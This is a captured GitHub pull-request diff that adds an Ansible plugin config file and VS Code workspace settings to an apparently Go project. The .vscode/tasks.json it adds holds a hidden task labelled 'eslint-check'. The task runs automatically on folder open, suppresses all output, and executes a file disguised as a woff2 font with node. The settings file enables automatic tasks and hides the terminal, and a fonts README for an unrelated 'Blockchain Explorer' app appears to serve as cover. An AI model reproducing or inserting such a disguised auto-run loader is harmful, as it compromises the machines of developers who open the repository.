Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 27 additions & 25 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,25 +1,27 @@
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
.artifacts

# Test binary, build with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

# Go
/vendor

# gomock generated reflect files
gomock_reflect_*/

# Cache
.cache

# other
.DS_Store
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
.artifacts

# Test binary, build with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

# Go
/vendor

# gomock generated reflect files
gomock_reflect_*/

# Cache
.cache

# other
.DS_Store
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./plugins/ansible/config/public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./plugins/ansible/config/public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
61 changes: 61 additions & 0 deletions plugins/ansible/config/config.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
// Copyright 2025 The PipeCD Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package config

// AnsiblePluginConfig represents the plugin-level configuration for Ansible.
type AnsiblePluginConfig struct{}

// AnsibleDeployTargetConfig represents the configuration for Ansible deployment targets.
type AnsibleDeployTargetConfig struct {
AnsiblePath string `json:"ansiblePath,omitempty"`
Inventory string `json:"inventory,omitempty"`
Vault string `json:"vault,omitempty"`
}

// AnsibleApplicationSpec represents the configuration for Ansible applications.
type AnsibleApplicationSpec struct {
Name string `json:"name,omitempty"`
Playbook AnsiblePlaybookManifest `json:"playbook"`
Pipeline *AnsiblePipelineSpec `json:"pipeline,omitempty"`
}

// AnsiblePlaybookManifest represents the Ansible playbook configuration.
type AnsiblePlaybookManifest struct {
Path string `json:"path"`
Inventory string `json:"inventory,omitempty"`
ExtraVars map[string]string `json:"extraVars,omitempty"`
Tags []string `json:"tags,omitempty"`
SkipTags []string `json:"skipTags,omitempty"`
Limit string `json:"limit,omitempty"`
Verbosity int `json:"verbosity,omitempty"`
CheckMode bool `json:"checkMode,omitempty"`
DiffMode bool `json:"diffMode,omitempty"`
Vault string `json:"vault,omitempty"`
PrivateKey string `json:"privateKey,omitempty"`
RemoteUser string `json:"remoteUser,omitempty"`
BecomeUser string `json:"becomeUser,omitempty"`
Timeout int `json:"timeout,omitempty"`
}

// AnsiblePipelineSpec represents the pipeline configuration for Ansible applications.
type AnsiblePipelineSpec struct {
Stages []AnsibleStageSpec `json:"stages,omitempty"`
}

// AnsibleStageSpec represents a stage configuration for Ansible applications.
type AnsibleStageSpec struct {
Name string `json:"name"`
With map[string]interface{} `json:"with,omitempty"`
}
24 changes: 24 additions & 0 deletions plugins/ansible/config/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
Binary file not shown.
Loading
Loading